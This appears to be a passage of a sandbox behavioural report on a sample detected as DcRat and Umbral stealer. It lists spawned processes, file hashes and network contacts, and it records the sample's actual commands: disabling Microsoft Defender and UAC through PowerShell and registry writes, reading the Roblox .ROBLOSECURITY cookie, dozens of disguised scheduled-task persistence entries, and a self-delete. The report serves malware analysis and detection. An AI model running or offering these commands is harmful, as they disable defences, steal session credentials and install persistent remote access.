PID 2428 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\system32\cmd.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\savesref.exe N/A

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe

"C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\explorer.exe

"C:\Users\Admin\AppData\Local\Temp\explorer.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\discord\KVGHJrchTtXZ1.vbe"

C:\Windows\system32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\explorer.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\explorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Roaming\discord\91XI5GEPShJXCgG0eVHRJ.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Users\Admin\AppData\Roaming\discord\savesref.exe

"C:\Users\Admin\AppData\Roaming\discord\savesref.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsml" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\lsm.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Users\Default User\lsm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsml" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\lsm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Sidebar\fr-FR\lsass.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\fr-FR\lsass.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Sidebar\fr-FR\lsass.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\Program Files\Internet Explorer\de-DE\explorer.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\de-DE\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Program Files\Internet Explorer\de-DE\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe'" /rl HIGHEST /f

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\Idle.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Windows\Cursors\conhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\Cursors\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Windows\Cursors\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "savesrefs" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\savesref.exe'" /f

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "savesref" /sc ONLOGON /tr "'C:\Users\Admin\savesref.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "savesrefs" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\savesref.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\System.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\MSOCache\All Users\System.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\System.exe'" /rl HIGHEST /f

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Users\All Users\Documents\explorer.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\All Users\Documents\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\Documents\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "savesrefs" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\savesref.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "savesref" /sc ONLOGON /tr "'C:\Users\Default User\savesref.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "savesrefs" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\savesref.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Media Player\ja-JP\wininit.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\ja-JP\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Media Player\ja-JP\wininit.exe'" /rl HIGHEST /f

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\system32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\explorer.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

C:\Users\Admin\savesref.exe

"C:\Users\Admin\savesref.exe"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 artemis.community udp
US 8.8.8.8:53 gstatic.com udp
GB 216.58.201.99:443 gstatic.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 a0982032.xsph.ru udp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp

Files

memory/1664-0-0x00000000746DE000-0x00000000746DF000-memory.dmp

memory/1664-1-0x0000000000E10000-0x000000000163A000-memory.dmp

memory/1664-2-0x00000000746D0000-0x0000000074DBE000-memory.dmp

memory/1664-3-0x0000000000390000-0x00000000003A0000-memory.dmp

memory/1664-4-0x00000000003D0000-0x00000000003D8000-memory.dmp

memory/2956-5-0x0000000000400000-0x000000000060E000-memory.dmp

memory/2956-17-0x0000000000400000-0x000000000060E000-memory.dmp

memory/1664-20-0x00000000746D0000-0x0000000074DBE000-memory.dmp

memory/2956-15-0x0000000000400000-0x000000000060E000-memory.dmp

memory/2956-21-0x0000000000400000-0x000000000060E000-memory.dmp

memory/2956-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/2956-12-0x0000000000400000-0x000000000060E000-memory.dmp

memory/2956-9-0x0000000000400000-0x000000000060E000-memory.dmp

memory/2956-6-0x0000000000400000-0x000000000060E000-memory.dmp

memory/2956-7-0x0000000000400000-0x000000000060E000-memory.dmp

\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 45008c4cc3fc25a5d5184742ae2fe72b
SHA1 f5e7b3110df6917df0e07a822c313c52eec335fd
SHA256 09d240d54a5458bcc9362ea0f06e23a345b69e196e127462d5f33e8a475ccd57
SHA512 3059e4e59cb103f08fd13f776bf65d41b4cfec7a7f6610a2c945e134d4b913185f64bdf357bbc3c52e26da77f9e04a19c121611ad11fb40bf486aade1751e335

C:\Users\Admin\AppData\Local\Temp\explorer.exe

MD5 5a006cd74e0225a15746bee6928d62f1
SHA1 a17dabdb634d9667c3590436998252148a5fab92
SHA256 0350fdb32852f781665e056a04f318e94c746612f7b4e3cd430d808c894aae4c
SHA512 59d6b467cf48cf1aafaf13e1acfdd6ae4806403f0bc92e759590b04da4ecd719488300ecd412d92931e7b65daf0ab2229d7a165b31595334676b40942bb30f81

memory/2428-42-0x00000000000F0000-0x0000000000130000-memory.dmp

C:\Users\Admin\AppData\Roaming\discord\KVGHJrchTtXZ1.vbe

MD5 cdb5dc99d1017d58fdbfce66f048da76
SHA1 e1903f365d81996da9810b9f0dc40bc65b3324c7
SHA256 bd9e0e5f3e6379d03907896d71843cc2dbfef7e209cc0896b4755fa0422a3b43
SHA512 72e3e2f3b5f385c402faf7ac89690a99806f648f90e85f46b01db66284f247c10dbe03e612e41c46775cd29fecaeede2fd26bc8dc2e22e252f9f1ce9b801f88d

memory/2668-48-0x000000001B680000-0x000000001B962000-memory.dmp

memory/2668-49-0x0000000002790000-0x0000000002798000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 0833765340e9bcf89635bca1b3d01644
SHA1 fe384ed6ba4ce0e3ac8688465ac66a8b14249406
SHA256 ca6ffc9a8226141ae5df8bc9efb3efad17c3862658de6c486142cdaa6e5d7fb0
SHA512 7d3ab9b5bafb3fc1668de19098dc277180cae211bff32cdbb17298f04f86f3d6e5a6bfece46e57448a943d41e0970845e9981e523829647f74d6ab88ca561bc7

memory/2300-55-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

memory/2300-56-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\discord\91XI5GEPShJXCgG0eVHRJ.bat

MD5 84814a18997996f8a95ba8e868396e90
SHA1 30b79b2158d922433ba25117fb79f8720470fb44
SHA256 92c8ccb6b3a9abc0798ad760255c47356c3750a74b11e38590876c68927f3797
SHA512 b1b820e12c49fe4993229222a218a769e5d6913f303d382baaff735f3b24a5b068adcfb344397004dd9d7aa637c4e9baedf2e3ca3dfb3f56e86c8c8f8cf9cf7e

\Users\Admin\AppData\Roaming\discord\savesref.exe

MD5 0a32536cc1d5e2a35d7d289b4ff0e76b
SHA1 98736b0b5a6f3709f81365c9e6477819074c3170
SHA256 8d31ae46e123de0d23937d664298428e37b45a7a135a95d73f5887779ee48710
SHA512 b2d5d91eb7ecfc6eb295c63ecba5c3ceb4b4a865fc9a9f90bd1e82bff4bc39905baf9ab2962580ee708761632e5499694f3f823aa2f139bce809398262eb3b73

memory/2216-76-0x0000000000940000-0x0000000000ACC000-memory.dmp

memory/1708-83-0x0000000002250000-0x0000000002258000-memory.dmp

memory/2216-84-0x00000000003D0000-0x00000000003EC000-memory.dmp

memory/2216-86-0x0000000000490000-0x00000000004A6000-memory.dmp

memory/2216-88-0x00000000004C0000-0x00000000004CA000-memory.dmp

memory/2216-93-0x0000000000920000-0x000000000092C000-memory.dmp

memory/2216-92-0x0000000000910000-0x0000000000918000-memory.dmp

memory/2216-91-0x0000000000900000-0x0000000000908000-memory.dmp

memory/2216-95-0x00000000020D0000-0x00000000020DC000-memory.dmp

memory/2216-94-0x0000000000930000-0x000000000093A000-memory.dmp

memory/2216-90-0x00000000008F0000-0x00000000008FC000-memory.dmp

memory/2216-89-0x00000000008E0000-0x00000000008E8000-memory.dmp

memory/2216-87-0x00000000004B0000-0x00000000004C0000-memory.dmp

memory/2216-85-0x00000000001C0000-0x00000000001D0000-memory.dmp

memory/1708-82-0x000000001B760000-0x000000001BA42000-memory.dmp

memory/2676-129-0x000000001B540000-0x000000001B822000-memory.dmp

memory/2676-130-0x0000000002360000-0x0000000002368000-memory.dmp

C:\Program Files (x86)\Windows Sidebar\fr-FR\RCX345E.tmp

MD5 bf164fec3cd078761a70462be31050fb
SHA1 48ebbb45426cbe2056e5f0bca1bd03e06ddfa5a2
SHA256 1d547dd97ae48345cae40c0a76258b3efa12dd8e9ea689f3d022e482584aa173
SHA512 fc4dbc0aa8d172b2b6c706e778acf5e49a5fc4c1c1fa763bd01a6d4332f1731ae5a87bfb500027067c3bb1b7508326c81b0462c08667b2b7a68bdc1ec38e748b

C:\Windows\Cursors\conhost.exe

MD5 465a747d34628ce15ae129dd4976a335
SHA1 735df85fef275edc98bf0ba13da7ce84c2dd2a48
SHA256 6ccd2fbb055f95f614793676575a55c17e9190f614ec571bef6fea31304db827
SHA512 e742eb15b5e60558ea5f3a42627db4c2ab3240ed344a895dba7b0638e8d3a5f3c9dc99c1c116e4de154b4d5b607a1544e0f232032453862857514ab7d2b49a7d

C:\MSOCache\All Users\System.exe

MD5 bb911b229aa5aeba477103037d501768
SHA1 67bf87968716318cb30a01a90ec93e993c207847
SHA256 f5cd57146216195fd2d1027f8561043596fd5d8e99aca2e2267ff19c1195c351
SHA512 152d78106476bf0a0a69d38721454db837bc856c71e7f24885d4c84dc4c2a70aed88904daaa5c6a045b7c6fded154b9a529f2937f1616440ef1ba0068280adab

memory/2624-286-0x0000000000EC0000-0x000000000104C000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-11 20:13

Reported

2024-05-11 20:18

Platform

win10v2004-20240426-en

Max time kernel

261s

Max time network

298s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe"

Signatures

DcRat

rat infostealer dcrat
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
File created C:\Windows\L2Schemas\22eafd247d37c3 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Default\Application Data\sihost.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Default\Application Data\sihost.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Default\Application Data\sihost.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A

Umbral

stealer umbral

